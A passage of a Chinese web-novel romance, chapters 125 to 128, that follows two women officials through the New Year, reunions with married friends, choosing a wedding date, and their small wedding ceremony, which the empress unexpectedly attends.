福伯等人连声应好,脸上笑着,眼里却有泪光——去岁除夕他们分散各地,过得都不太好,没料到还有重聚在一起守岁的时候。也不止今年,还有明年、后年、大后年。 楚棠看见了,也没说什么,毕竟她和夏时去年除夕过得也不怎么好。她牵着夏时走到另一张桌边,目光一扫,桌上尽是熟悉的菜式,其中还有一小半是她父亲喜欢的。 夏时当然也在饭桌上看到了自己喜欢的菜式,虽然不多,但谁让她原本是回不来的呢?家里还有人惦记她,已经不错了。 小猎户很容易满足,看着花厅里热热闹闹的一群人,心中也生出熨帖来。 平时她可能嫌弃人多,但今晚不会。 125☆、第125章 ◎挺好的,大家都有自己的老婆◎ 除夕夜守岁到了子时,皇宫方向还放了一阵焰火,楚棠和夏时也算是好好的过了一个年。 翌日两人起得都有些迟,但好在女帝大方,这次给放假就不止是除夕一天。夏时今日不必再去皇宫当值,便是起得迟一些也无妨。 两人睁眼,天都已经大亮了。 楚棠正欲起身,可惜刚有动作就被腰间那条手臂压了回去。她跌入了熟悉的温暖怀抱,紧接着一只脚又压了上来,将她牢牢的禁锢在了怀里。 试着挣了挣,没挣开,楚棠只好拍着夏时肩膀埋怨;“你做什么?快松开,我要起床了。” 夏时眼睛都没睁,将脸埋在她颈边,嗅着老婆身上熟悉的气息,哼哼唧唧:“还早呢,起床做什么?这大冷的天,外面也没被窝里暖和啊。再睡一会儿吧。” 楚棠听得好笑又无奈。说实话云雾山上的小猎户还是相当勤劳的,家里家外吃喝用度,她都能操持得井井有条,一个人也能生活得很好,两个人她就能把自己也照顾得很好。可近来她却发现了这人的懒散,当值不愿意去,现在还添了赖床的毛病。 当然,楚棠也没有嫌弃的意思,只是她也没打算陪着夏时胡闹:“你想睡就再睡会儿,放我起来。今天可是年初一,起太晚像什么话?” 她说着又试图去推夏时揽在她腰间的手,可惜那条手臂虽纤细,却十分有力。她没能推开,反而被夏时稍稍用力往怀中揽了揽,这次是彻底被困在对方怀抱了。 夏时脸颊在她颈侧蹭了蹭:“急什么,家里又没人管,难得的机会睡懒觉。” 楚棠一时竟不知该如何反驳——确实,两人头上都没长辈了,这楚府里人虽然不少,但都只是家中老仆,无论如何也管不到主人身上的。甚至因为当年楚尚书之事,原本与楚家交好的人家也有大半断了联系,今岁拜年也没有几户人家可去。 这样一想,今日竟是难得清闲,楚棠起身的想法也散了大半。毕竟夏时说得也没错,这大冷天的哪里都不比被窝里暖和,起床确实是件需要毅力的事。 心弦一松,楚棠又安心躺了回去,窝在熟悉的怀抱里竟然很快又有了睡意。 小两口这一觉就睡到了巳时,醒来时只觉神清气爽,仿佛前一年积攒的疲惫已经随着这一觉尽数消散。 夏时醒后就抱着老婆贴贴蹭蹭,唇有意无意在楚棠颈边流连。可惜接收到暗示的楚棠并不打算回应,相当冷酷的将人推开了:“别闹,今天已经很迟了,再耽搁就到中午了。” 好吧,时间确实不早了,夏时只好悻悻收敛,不过还是在老婆起身前将人抱着好好亲了一回。 年初一从起床开始,小两口就黏糊得不行,等两人拖拖拉拉终于收拾好出门,都已经是晌午了。好在家里确实没有长辈管束,福伯等人更是乐见小两口恩爱,倒是也没人多说什么。 只有早膳用得迟了些,而且一顿饭没吃完,便有人登门拜年了。 楚棠听到这消息都愣了一下,然后还没来得及问是谁来了,就见沈知微已经掀开门口的帘子,风风火火闯了进来。她一抬眼看到夏时还怔了下,脱口问道:“你怎么在家?” 夏时讪讪摸了摸鼻子,没好意思说自己是告假回来的,毕竟唐奕还在宫中当值呢。 但她不说,沈知微见她这神情也猜了个七七八八,顿时没好气的抱怨道:“小夏都知道告假回家陪你,怎么我家那个就是根木头,过年都不知道回家的?!” 楚棠听了这话,可不觉得是唐奕的问题,她无奈瞥了夏时一眼,接话道:“哪里是唐奕的问题,她那才是尽忠职守。我家这个……”她没说下去,只摇了摇头。 夏时无可反驳,只悄悄牵了楚棠的手,后者倒也没有避开。 沈知微坐在了楚棠对面,趴在桌沿上叹了口气,也不知说什么才好。 楚棠见状便问她:“你来拜年的?怎么这么早,往年这时候你不是该在家待客吗?” 承恩侯府……不,现在应该叫承恩公府了。承恩公府在先帝一朝备受冷落,但因为有五皇子这个嫡出皇子在,投靠巴结的人也向来不少。除了去岁,每逢年节承恩公府都可以用门庭若市来形容,连带着沈知微也得在家中帮忙接待女客。 今年女帝登基,身为外家的承恩公府更是水涨船高。沈知微还是朝中第一批女官,将来必定受到重用,家里又怎么会这么早就放她出来? 楚棠猜得没错,可沈知微正是因为来客太多才避出来的,忍不住冲好友吐槽道:“阿棠,你是不知道,今天我家门前的巷子都被拜年的人堵了。我爹还让我招待客人,可那么多人我招待得过来吗?还有陈薇你记得吗,她今天冲我笑得,我鸡皮疙瘩都要掉下来了。简直受不了,干脆就躲出来了。” 陈薇是兴平侯的小女儿,以前就与沈知微不对付,两人几乎是从小到大的死对头。从前两人见面不呛声就不错了,哪里能对死对头笑得出来? 楚棠想想那画面,都能感同身受的起鸡皮疙瘩,也就无怪沈知微受不了躲了。 两人又就着故人的话题说了两句,沈知微忽然注意到面前这一碟碟的并不是糕点,而是早膳。她目光在桌上一转,又在小两口身上一转,忽然“嘿嘿”笑出了声。 夏时不知她笑些什么,只觉得莫名不自在,还是楚棠一眼就看出好友脑子里的废料,二话不说夹了只小笼包塞沈知微嘴里,将对方嘴堵上。 沈知微也是来者不拒,几口就把那不大的小笼包吃了:“怎么,你们现在才用早膳?” 夏时不觉得这有什么问题,随口答了:“昨晚守岁睡得迟,今日难得无事,睡个懒觉怎么了?” 倒也没怎么,楚家历尽磨难,如今的当家人楚棠只是个户部郎中,从五品的官阶在京城一抓一大把。哪怕她和她夫人都是如今炙手可热的女官,也没人会在这时候上赶着巴结。是以今日的楚府门可罗雀,不似往年拜年的人络绎不绝,主人家也清闲了许多。 沈知微不好就这事再说些什么,免得像是来炫耀的。她也不讲究,自己伸手又拿了个小笼包塞嘴里,吃完后才说道:“对了,我前两日收到信,锦澜她们过两日便回京了。” 楚棠听了这话还没怎样,夏时的眼睛却是“唰”一下就亮了。 不过也只是一瞬,她很快又想到什么,扭头往门外方向看了眼——昨夜又落了雪,庭院里的积雪还未化,便又添了新的。这天气还冷着呢,便是温锦澜她们提前回来了,两人补办婚礼最好也得等到春暖花开时,免得太冷了楚棠挨冻。 ******************************************************* 夏时新年一共得了五天假,比不上楚棠她们这些朝臣,能放十来天。不过比起其他羽林,这五天年假也是相当难得了。 就在假期的最后一天,夏时终于见到了楚棠的另一个好友温锦澜,以及她的夫人明钰。 这两人和沈知微妻妻俩完全不同,温锦澜长着一张小圆脸,眼睛也是圆溜溜的杏眼,见人三分笑,看着便可爱可亲。她的夫人明钰也不似寻常商贾,一身的书卷气反而更像是哪家书香门第出来的大小姐。两人站在一起倒是意外的登对,尤其明钰的目光更是无时无刻不落在自己夫人身上。 夏时对此很是满意,因为这俩够黏糊。哪怕温锦澜拉着楚棠叙旧,时不时也会回头看一眼明钰,两人黏糊得让夏时觉得自己要是吃醋,都会显得相当无理取闹。 挺好的,大家都有自己的老婆,就不会和别人的老婆太亲密。 旧友重逢,难得沈知微也把唐奕拉了过来,几个人又凑在一起小聚了一场。 这次小聚的地点是在明家。温锦澜两人和沈知微她们不同,后者虽然成婚却还一直住在承恩公府里,而温锦澜和明钰却是早在外面置办了宅子。这次回来也不想掺和进朝堂,过年干脆就只往温家送了份年礼,两人回到京城也直接住进了新家。 不过明钰有钱,她家的新宅子也不比温家的老宅差,几人在此小聚还没人管束,越发自由。 几人坐在花厅里,明家的花厅也是真正的花厅,即便是寒冬时节,这里也摆放着不少盛开的花卉装点。不过这都不是重点,重点是雾气氤氲中,一只锅子正咕嘟咕嘟往外冒着热气。 温锦澜一边将桌边的菜蔬往锅里倒,一边说道:“这是我和阿钰在外面见到的新吃法,大冷天的边煮边吃可舒服了。” 夏时对此不置可否,沈知微倒是配合极了,乐颠颠跟着一起往锅里倒肉:“怎么样?这几个月我们在京城累死累活,你们俩倒好,在外面游山玩水,过得可自在吧?” 温锦澜放下空盘子撇撇嘴,不以为意:“是你们想当官有所作为,我就不同了,我就胸无大志想要吃喝玩乐怎么了?羡慕啊?羡慕你也辞官啊,反正你又不缺钱。” 沈知微无言以对,她就是个俗人,比起吃喝玩乐她更不想被人看轻。 这个话题揭过,温锦澜又将目光投向了楚棠两人,笑盈盈问道:“你们俩婚礼打算什么时候办啊?有什么需要我和阿钰帮忙的吗?别的我们可能帮不了太多,但花钱能解决的问题,我俩义不容辞。” 楚棠“噗呲”一下笑出来,调侃道:“这倒不用,我俩只准备在家中补个仪式,可用不上你这小富婆。” 126☆、第126章 ◎距离婚期也越来越近◎ 年节过后,楚棠和夏时又过了个热热闹闹的上元节。 京师的繁华远不是偏远的丰乐县能比的,当晚整个京城灯火通明,花灯挂满了整条朱雀大街。就连女帝也登上了承天门,亲手点燃了花灯,与民同乐。 上元过后,日子一天接着一天的过,夏时每天跟着楚棠一起上值下值,习惯了之后倒也不觉得日子难熬了。相反这样的日子日复一日的过着,倒是让人不觉时间流逝。仿佛只是一眨眼的功夫,冬雪就停了,迎面刮来的风也少了寒冬的凌冽,渐渐染上了春日的温柔。 正月过去,二月飞雪渐停,三月四月已是春暖花开。 某一日夏时照常领着人在宫中巡逻,途径御花园时,忽然便被一片翠绿闯入了眼帘。她扭头一看,便见冬日枯萎的花草已经生出了新芽,哪怕还没见着花苞,嫩生生一片也是青翠可爱。 恍惚间,夏时终于回过神来,京城的冬天已经过去了,她心心念念的春暖花开已是近在咫尺。 当日下值,楚棠从户部官署走出来,就见门外等着的夏时唇角上扬,一副心情很好的样子。她径自走上前去,熟练的牵了下她的手,又松开,然后两人并肩向着宫门外走去:“怎么了,你今天这么高兴?是遇到什么好事了吗?总不会是巡逻时捡到钱了吧?” 这话带着几分调侃,皇宫里可没地方捡钱去,就算见到了又能有多少? 夏时自然也不回这话,她伸出一只紧握着的右手递到楚棠面前,然后在对方好奇的目光中摊开了手掌,露出里面一片嫩绿的新叶。 楚棠愣了一下,带着几分不解的将那片叶子拿了过来,在指尖转了两圈也没看出有什么不对的:“这叶子怎么了,有什么不对……” 话还没说完,她反应过来,不是叶子有什么不对,而是这片新叶代表着春天已经到了。 想到夏时这几月心心念念惦记的婚礼,她眸中顿时闪过一丝笑意,捻着新叶的梗又转了两圈:“原来开春了啊,近来天气确实开始转暖,家里该准备春衫了。”说完顿了顿,眼见着夏时皱起了眉,这才继续笑道:“抽个空,可以去城外相国寺走一趟了。” 夏时听到这话没反应过来,但若换了其他在京中长大的年轻人,必定能立刻明白——婚期择选是需要算黄道吉日的,而京中权贵最爱去的地方正是相国寺。 不过夏时也并没有茫然太久,等到两人乘车回到楚府,她便也知道了楚棠话中的深意。 心心念念盼了许久的事,一朝有了眉目,夏时惊喜得一把抱住楚棠就在原地转了个圈。惹得楚棠红了脸,在她肩头连拍了好几下,这才舍得将人放下。 然后一回头,两人立刻就对上了许多双含笑的眸子。 楚棠脸上的红晕一下子烧到了耳根,本来不觉得有什么的夏时见了,也没忍住跟着红了脸。两人很快手牵手逃了,跑远之后夏时没忍住嘀嘀咕咕——她家阿棠这害羞的毛病真是犯得毫无规律,当初第一次来楚府,她都敢当着所有人的面亲自己了,现在只是抱着转一圈她反倒会脸红了。 不过嘀嘀咕咕归嘀嘀咕咕,夏时还是很高兴的,唇角的弧度一直都没放下过。直到两人回到屋中,换下了身上的官服,夏时忽然想到了一件事。 她都来不及穿上新衣,便忽然从屏风后探出头来:“阿棠,有件事我之前忘了。我本是被人遗弃在山中的孤儿,是我爹将我捡回去养大的,所以生辰八字什么的他不知道,我也不知道。咱们要是去测算婚期,没有我的八字,是不是就算不准了?” 语气里都是担忧,夏时有多喜欢楚棠,就有多希望这场补办的婚礼能够完满。 楚棠自然也听出了她的忧虑,却并不十分在意:“不管八字如何,你我总是心意相通的。莫说不知道八字,便是我俩真的八字不合,难道你就要离我而去吗?” 夏时一听这话,哪里敢应,一颗脑袋摇得像是拨浪鼓:“怎么可能?!” 楚棠便笑:“那便是了。既然不会影响你我选择,这也不是个件锦上添花的事罢了。至于婚期,咱们只要选一个诸事皆宜的日子,总不会太坏。” 夏时被她说服了,顿时就将这茬抛在了脑后,缩回脑袋又高高兴兴换衣裳去了。 ********************************************************** 婚姻讲究三书六礼,从前的夏时不清楚,也没那个心思准备这些。 如今便不同了,既然决定要补办个婚礼让一切圆满,她自然也不会吝啬这些流程。哪怕她现在住在楚府,和楚棠睡一张床,可该准备的婚书聘礼她一样也不准备缺。甚至在请教过唐奕之后,还特地跑出城一趟,亲手猎回两只活雁。 这倒是她老本行,并不费功夫。之后两人又一起去了一趟相国寺测算婚期,在不知夏时八字的情况下,果然算了个诸事皆宜的好日子,正是不久后的四月二十七。 其实相国寺的老和尚给二人算了好几个吉日,囊括了今年一整年,也是给两人留足了准备的时间。奈何夏时已经等了太久,再加上两人这算是补办的婚礼,并不打算邀请宾客大操大办,所以最终选择了一个距离最近的,也能尽早完成夏时一桩心愿。 两人拿到新鲜的婚期很是高兴,翌日当值正好遇见沈知微,便向二人问起了此事。 夏时心情正好,便告诉了她:“已经去过相国寺了,算出来的吉日是这个月二十七,只剩大半个月时间了。到时候你和唐奕可要记着早些来。” 沈知微也惦记这事许久了,闻言自然点头应好,旋即冲着二人眨眨眼,又笑道:“我记得有个规矩,定下婚期之后,新人是不能再见面的,要一直等到婚礼当天……” 果然,这话一出,夏时的笑脸立刻挂不住了,一张脸黑得像是锅底。 楚棠见她像是被戳中了死穴,没忍住“噗呲”一声笑了出来。惹得夏时哀怨看她,这才勉强忍了笑,说道:“那是人家未婚夫妻要守的规矩。我和阿时又不一样,我俩早是妻妻,也不过是想补办一场婚礼弥补遗憾罢了,何必在乎那么多呢?” 夏时闻言眼睛一亮,连连点头,也顾不上这里是在皇城可能被同僚看到,一把牵住了楚棠的手:“就是就是,我俩百无禁忌,才没有那么多无聊的规矩呢。” 沈知微也只是逗逗她俩,见状闷笑两人,应了下来:“好好好,你们说得有理。” 这两人补办的婚礼岂止是不守婚前不见面的规矩,她俩这场婚礼整个流程也是缩减了许多的。比如两人并不打算邀请多少宾客,除了家里人也只请了两位旧友妻妻观礼,连对她们颇有照拂的薛祭酒也没打算请。再比如夏时在京中没有另外的宅邸,也不需要将人接来或接走,迎亲的流程自然也省了大半。 相比起沈知微和温锦澜两位旧友曾经的婚礼,楚棠这一场婚事简直称得上是简陋了。沈知微甚至觉得两人这婚礼办得更像是一场玩闹,可当事人满心期许,她当然也不会做那扫兴之人。 婚期定下之后,两人的日子似乎还是照常的过。 只是在两人上值的时候,府中的仆从渐渐备齐了婚礼需要的各种东西——楚棠和夏时虽都期待着这场婚礼,却都没打算大半,因此府中仆从采买东西时也相当低调,并未引起旁人注意。 时间依旧不紧不慢向前,转眼便到了四月下旬,距离婚期也越来越近了。 夏时没打算邀请同僚,因此也不曾与人说过婚事,更不好随意告假。她便提前和相熟的人换了班,足足为婚礼腾出了三天时间来。而楚棠就没那么麻烦了,她直接告了假,上司念着她父亲的香火情也没为难,轻易就准了假。 万事俱备,两人为这场弥补遗憾的婚礼准备好了一切。 婚礼前夜,哪怕两人早做了一年多的妻妻,早已是亲密无间。可想到翌日的婚礼,两人依旧激动难眠——是的,即便是婚礼前夜,本该避而不见的两人,依旧是睡一张床的。 夏时早早将两人的嫁衣拿出来,挂在架子上看了又看——两身嫁衣除了尺寸外,足有八九分相似,都是出自沈知微家的绣娘之手。只是介于夏时不止一次念叨着要自己绣嫁衣,楚棠最后还是依言教了她,拿着绣花针在新嫁衣上戳了两针。 果真是包教包会,但女红不好的贵女向来这般做,这又怎么不算亲自动手绣过嫁衣呢? 彼时夏时捻着针无语半晌,到底还是接受了这说辞。也幸好她接受了,否则以她从前根本没碰过针线的“绣工”,这漂漂亮亮的嫁衣都得毁在她手上。 欣赏够了嫁衣,又去检查了首饰头面,甚至连明日要用的胭脂水粉她都打开盖子瞧了一眼。 眼看着夏时精力充沛的在屋子里转来转去,本来也没有睡意的楚棠就更睡不着了。她掀被而起,走过去将人抓回床上,直接压倒:“行了,你别折腾了,再不好好睡觉小心明日精神不济,出了差错。” 夏时听罢觉得有理,终于老实下来,可她抱着温香软玉在怀,今夜也依旧是睡不着。 127☆、第127章 ◎婚礼(上)◎ 一整晚夏时都没怎么睡着,又怕自己翻来覆去吵醒了楚棠,于是便直挺挺躺了一夜。 她闭着眼,也不知时间流逝,脑海里各种念头纷至沓来。似乎只是胡思乱想了片刻,又似乎过了许久,漆黑的屋子渐渐亮了起来,却是外间天色渐明。 寻常婚礼,无论新胥还是新妇,都要早早起身准备,生恐误了迎亲的吉时。她俩这场婚事却不一样,毕竟婚礼前夜还睡一张床上,迎亲什么的也就没必要了——两人只准备低调补个仪式,谁也没想将事情闹出这座府邸,出去招摇过市自然就省了。 而省了婚礼当日最耗时的一个流程,今日的时间安排自然也就宽裕了许多。外面的侍女一直等到两人正常起居,还是休沐日的正常起居时辰,这才扣响了房门。 “叩、叩、叩……”三声不大不小的叩门声响起。 原本还睡着的楚棠一下子便睁开了眼睛,再一看屋中都已经有天光洒入,立刻便意识到时辰不早了。她“唰”一下从夏时怀中坐起,就要急匆匆寻衣裳来穿。 一抬眼,看见不远处架子上挂着的两件嫁衣,睡眼惺忪的楚棠这才彻底回过神来。 对了,今日不是上值的日子,今日是她和夏时的婚礼! 楚棠想到这里,心头一颤,下意识低头看去。 此时因她急着起床穿衣,正伏在夏时身上,准备越过她下床去。两人一上一下四目相对,明明也没有什么特殊的,却忽的齐齐别开了脸,露出各自通红的耳朵。 怎么说呢,哪怕已是做了一两年妻妻,婚礼当日看见对方,还是免不得心潮起伏,有些羞。 楚棠率先意识到自己此刻的姿势不对,迅速翻过夏时下了床,一时间也不知道说什么才好,干脆过去开了房门。门外白芷领头,带着紫苏青黛和几个小丫头,手里端着各种洗漱用品等候已久。 见今日来开门的是楚棠,白芷略略诧异,却并没有表露出来,正常的行礼问好。 楚棠*心不在焉的点点头,让开了位置放众人进来。 而夏时的动作也很快,就楚棠开门的这点时间,她也已经起身穿衣。只是今日的嫁衣格外繁琐些,不似她平日,三两下就能将衣衫穿好。 楚棠回来时,正瞧见她在整理衣襟——有过上回试穿嫁衣时楚棠帮忙的经历,夏时如今也知这衣裳该怎么穿了,就是没人帮忙会麻烦些。 夏时也不习惯别人帮忙,见丫鬟们进来,主动绕去了屏风后。 楚棠倒不担心她穿好衣裳后洗漱不便,也就由着她去了,而她自己则在丫鬟们的服侍下迅速洗漱。夏时出来时,她都已经洗漱完坐在梳妆台前,由着青黛替她挽发了。 一大早,两人就没交流过,视线刚通过铜镜对上,便双双避开,屋子里也是难得的安静。 两人如此,丫鬟们自然也不敢出声打扰,都各自做着自己的事。也是因此,这一大早的洗漱妆扮效率极高,夏时也是一点点看着楚棠在侍女们的巧手下,妆容愈发精致美丽……一开始她还是偷看,到后来就舍不得挪开眼了,那痴迷的样子看得人忍俊不禁。 紫苏忍了忍,没忍住轻笑出声,而她这一笑也终于打破了屋中安静的气氛。 丫鬟们一个个笑了起来,气氛变得轻快又喜庆。更有人上前冲着二人道了恭喜,又说了一连串的吉祥话,直将两人也说得弯起了眉眼。 两人偶尔对视上,这次倒没避开视线,于是便从对方眼中看到了几分带笑的缱绻情意。 …… 新妇的妆容精致又麻烦,哪怕夏时没那么讲究省了些时间,两人这一番折腾也花了一两个时辰。 待二人一身嫁衣从屋中走出,外面早已是日上三竿。甚至有仆从过来禀报,说是沈知微和温锦澜两家都已经到了,目前正在前厅中等候。 这场婚礼两人没有大操大办,自然也没多邀请宾客,这四人就是今日全部的客人了——也是难得,连除夕夜都不会告假而选择在宫中当值的唐奕,今日竟也抽空登门了。夏时听到这消息都有些受宠若惊,倒是楚棠并没有觉得多意外。 “那就好好招待,让她们稍等片刻吧。”楚棠冲着传信的仆从吩咐一句,接着转身就牵上了夏时的手,带着她往院外走去:“走吧,随我先去祭拜祖先。” 这也是婚礼的流程之一。正常来说是新郎出门接亲之前,要先去祠堂祭拜告知祖先,家中即将迎来新的家庭成员。不过楚棠和夏时两人倒是无所谓谁嫁谁娶了,只是这里是楚家老宅,夏时又是孤身一人并没有亲眷家族,算她嫁进来也没差。 夏时自不在意这个,两人一起携手行过了花园庭院,又经过了长廊水榭,终于来到后院一处清净地。一座古朴建筑赫然出现在眼前,夏时此前几乎没有来过,正是楚家的祠堂。 这地方在楚家遭难时自然也被牵连,只是在女帝将宅子重新还给楚棠时,这里也被重点恢复过。 两人进门,没感觉到祠堂应有的森寒,倒是一抬头,看见一片明显还有些新的牌位。数量也不多,毕竟楚家发迹也不太久,只十几二十个牌位摆了几排,不算压迫。 夏时仗着眼力好,偷眼瞧了瞧,楚父的牌位赫然在列还排在正中间——这倒也是正常的,毕竟楚父辈分虽然不高,但家族兴盛全靠了他。如今楚家的其余族人还不知在哪儿,楚家的当家人是他女儿,这当爹的自然能吃头一份的香火。 心思转过,收回目光,夏时接过楚棠递来的香,和她一起祭拜楚家先祖。 夏时自然不是这场祭拜的主角,她只陪在楚棠身侧,听着她对上方祖先碎碎念。从楚家平反,说到自己已入朝为官,再说到今日家中有喜。 她一本正经说了不少,最后领着夏时一起给祖先上了香,见香火无恙,便也放心离去。 待两人出了祠堂,夏时终于没忍住,说道:“今日祭祖不是只说婚姻之事吗,怎么从平反说起?这么长时间了,你之前就没告知过祖先?” 楚棠一顿,接着一本正经的回:“没事,扫墓时我告诉过我爹了,他早跟祖宗们说过了。我只是突然想起,多说了一回。” 夏时闻言总觉得哪里不对,狐疑的看看她,只是没多言。 事实上是楚棠不喜欢祠堂这地方,少时她闯了祸,曾被父亲关过一回祠堂。那时的祠堂阴森森的,她年纪又小,一个人待在里面被吓得生了场病。虽然自那之后她爹再没让她跪过祠堂,可只一回她也有了隐隐,以至于平日里这地方她能不来就不来,过年祭祖都是走流程,恨不得早点离开。 不过这回就不同了,她是来告知祖先自己成婚的,身边还有夫人相伴,自然满心欢喜也没什么可怕的了。就是不想让夏时知道,自己还怕祠堂。 …… 两人祭拜完祖先出来,时间也还太早,才不过晌午而已。 婚礼,昏礼,自然是在黄昏时才能成礼,距离此时还足有大半日时间。 正常婚礼到了这时,便是新郎出门迎亲,新妇在家中等候夫婿来接的时间。热热闹闹,满怀期待,也是半分清闲时间都没有的。等稍晚些新郎将人接回了家,还有宾客需要招待,更是忙得脚不沾地,一直得热闹到半夜去。 可两人的婚礼简单许多,没有宾客也不必迎亲,倒是空出来大半日的清闲时光。 夏时想了想,扭头问楚棠:“现在好像没什么事了,咱们去前厅看看唐奕她们吧?也算待客了。” 楚棠也是这样打算,两人手牵手又从后院去了前厅。 一进门,就见两对妻妻相对而坐。几人都是衣着讲究妆容精致,就连平日里不打扮的唐奕也精心装扮了一场,这才前来观礼。 两个新人一进门,立刻吸引了正在闲谈的几人目光。 沈知微眼睛一亮,起身迎了过来,拉住楚棠另一只手笑道:“阿楚今日甚是美丽,便连我看了也是心动不已。” 这话一出,还没等夏时脸黑,唐奕就先一步把她媳妇抱走了:“行了你,今日就别折腾了,也不怕来日被人套麻袋。” 沈知微也就是玩笑,听了这话反倒不高兴了,象征性蹬了蹬腿:“什么啊,我这是在夸我好友,谁要套我麻袋啊,这么小心眼?!” 夏时闻言抿了下唇,虽然她没有套麻袋的想法,但小心眼却是真的。身旁的楚棠一眼看出来,莞尔的同时轻轻捏了捏她的手,算是安抚她这小心眼的夫人。 一场小插曲过后,几人便一起起身,冲着二人笑道:“恭喜阿楚、小夏,今日新婚大喜,祝你们白头到老,百年好合。”说完又纷纷送上各自准备的礼物。 楚棠收一份,便转手递给夏时拿着,四份礼物也让她抱了满怀。 祝贺过后,几人又重新坐了回去,时间尚早便闲谈起来。 温锦澜看着两人最是羡慕,她看一眼明钰,又看一眼楚棠:“还是你们这婚礼简单,一点都不累人,现在还有时间陪着我们闲聊。当初我和明钰成婚,从半夜三更就开始折腾,一整天迎来送往,到了晚上婚礼的时候我累得险些弯不下腰。这婚礼可真是,经历过一次,这辈子再也不想来第二回了。” 明钰惯来宠老婆,可听了这话也不乐意,哼道:“什么第二回?你这辈子还想要第二个夫人?!” 温锦澜见状知道自己说错了话,忙扭头去哄,哄完了老婆又连忙冲一对新人道歉。倒也没人怪她,几人说说笑笑,气氛轻松,时间也在不知不觉中缓缓流逝。 【正文完】 128☆、第128章 ◎婚礼(下)◎ 今日的宾客虽然只有四个人,但楚家还是准备了喜宴,认认真真招待。 几个人凑在一起倒不拘束,因为没到昏礼的时间,白日里说笑玩闹倒也自在。如果不是楚棠和夏时还穿着嫁衣,这场面倒更像是好友小聚。 所幸有沈知微等人相伴,时间倒也过得挺快,不知不觉大半天过去,时间也来到了半下午。 楚府的仆从开始忙碌起来,将早已准备好的婚礼用具又仔细的检查了一回。白芷时不时抬头看天,眼见着日头越来越偏西,生恐错过了吉时。 也不止是白芷在留意时间,夏时也时不时往门外瞧,对于几人聊天的话题显得有些心不在焉。 沈知微瞧见了,没忍住打趣一句:“小夏这眼巴巴的样子,怕不是嫌我们碍事,恨不得立刻抱得美人归吧?” 夏时收回目光,一本正经回:“没有。因为美人早被我抱回家了。” 此言一出,楚棠脸上顿时一红,扭头就瞪了夏时一眼。 然而楚棠的瞪眼在夏时这里根本没有威力,再加上她今日妆容精致,便是瞪人也似带着三分风情。夏时被瞪得心头酥麻,桌下的手偷偷摸摸去牵对方,嘴上好歹是收敛了。 几人正说着话,一直盯着时辰的白芷也在这时进来了,提醒众人道:“吉时快到了,小姐,夫人,你们该去正堂了。” 婚礼仪式众多,第一件便是拜天地,一般也是在正堂成礼。 今日的楚府张灯结彩,满目红绸,正堂更是被仔细装点过的,目之所及尽是喜庆布置。唯一可惜的是楚夏两人如今都是孤儿,不仅没有父母高堂,就连亲近的长辈都没一个。因此今日的喜堂主位注定要空着了,看上去也略有遗憾。 两人听到白芷通知便携手走向正堂,沈知微几人也在后跟随。这时几人倒都安静下来,没有再插科打诨,跟随在新人身后的模样更像是簇拥。 也就在两人走到正堂之际,一道身影忽然急匆匆跑了过来,打破了原本有些严肃的气氛。 福伯一看来人,立刻没好气的瞪眼:“小山,你跑什么?今日可是小姐大喜,你这莽莽撞撞的样子,冲撞了可怎么办?!” 小山是个年轻人,也是福伯的后辈,目前正守在大门当门房。而大户人家的门房也并不是什么人都可以做的,平日里总是十分有眼色,这次却是有些慌张。他喘着气,一手指着大门方向,急匆匆与楚棠道:“小,小姐,门外,门外有贵客临门!” 楚家如今是落魄不少,可曾经尚书府的家仆也并不是没见过世面的。 楚棠这一听这话就知道,门口的贵客身份必定非同一般,甚至需要她在此时前往迎接。而以楚棠的聪慧,心念一转便有了个大胆的猜测,抿下唇,拉着夏时就转身:“走,随我去迎接贵客。” 夏时就没她那样聪明了,一下子想不到那么多,她只担心错过吉时:“这,此时去门口待客,回来不会错过吉时吧?” 她一点不想让这场期待已久的婚礼不完满,可楚棠却似没听到她的话,拉着夏时的手上力道极大。以至于夏时一个触不及防,就被她拉走了。 沈知微几人也是面面相觑,不知谁会在这时登门,还得楚棠亲自去迎。 唐奕挑了挑眉,想到什么,扭头冲几人道:“走吧,我们也跟去看看。” 这话自然无人反对,于是几人也跟了上去。 正堂离府门其实并不远,夏时被楚棠拉走之后也没想过再将人拉回来,担心错过吉时便只能加快了步伐。不过还不等她们走到府门,便看到了小山口中的贵客已经迎面走来。 见到来人,几人都是一怔,然后齐齐俯身行礼:“臣等见过陛下。” 来人正是女帝,她今日穿着一身常服,身边也只有萧晏书随行,显然是私下出宫走动的。只不知是巧合还是特意,她竟是正好在今日此时登门。 “不必多礼,都起来吧。”女帝抬手示意众人免礼,接着手一转,从萧晏书手中接过只锦盒递向了楚棠,笑盈盈道明了来意:“朕闻今日爱卿府上有喜,前来凑个热闹,爱卿不会不欢迎吧?” 楚棠等人都没想过会是这个答案,毕竟她和夏时补办婚礼的事并没有对外说过。心中有些诧异,许多念头闪过脑海,面上倒是不露半分。楚棠接过贺礼垂首道:“陛下驾临寒舍,自是蓬荜生辉……” 没等楚棠把客套话说完,女帝就抬手打断了。她抬头看了看天色,又看了看楚棠和夏时身上的嫁衣,笑道:“快到黄昏了,吉时将至。朕只是来观礼,可不是来坏人好事的。”说着下巴一抬,示意众人折返:“走吧,可别误了吉时。” 有女帝忽然登门,众人哪里敢走在她前面,自是避开让她先行。 *********************************************************** 婚礼的仪式说复杂也复杂,说简单也简单。 原本两人拜天地时空着的高堂位,因着女帝的突然造访,倒是有了人坐——女帝不是两人高堂,但她位尊,两人拜她不仅不勉强,说出去甚至是惹人艳羡的好事。 福伯也没想到今日会有女帝登门,惊讶之余更是欢喜,充当司仪的他开口时声音都是抖的: “一拜天地——” “二拜高堂——” “妻妻对拜——” “礼成!” 随着三拜落地,楚棠和夏时这场婚礼最重要的仪式便结束了。因着是两个女郎的婚礼,谁也没戴盖头,礼成之后齐齐抬首,正撞入对方饱含欣喜的眸子。 夏时嘴角高高扬起,笑得有些傻气,她开口喊一声:“夫人?” 楚棠同样是笑,略微含蓄,闻言点头回应:“是我。” 两人也只来得及说了这一句话,等在一旁观礼的几个好友便一拥而上。早前说过的恭贺之语再次出口,笑笑闹闹,几乎忘了还有女帝在侧。 沈知微更是胆大,趁着夏时和楚棠两人凑得近,忽然在楚棠背后推了一把。 楚棠一个没站稳,自然前倾,一下子扑进了夏时怀里。还不等她挣扎出来,就听好友在身后起哄:“亲一下,亲一下,都是妻妻了,没什么好害羞的。” 这话一出,楚棠只觉有几分熟悉,回忆一番想起当初在石田村参加的那场婚礼,似乎也有不少人这样起哄。可那是在石田村,村人大胆也不拘束,京城可没这习惯——当初沈知微和唐奕成婚时,她可没闹她们,这人怎么什么都敢说?! 楚棠带着几分羞恼,正好回头瞪好友一眼,哪知眼前人却大胆,竟真的在起哄声中低头吻住了她。 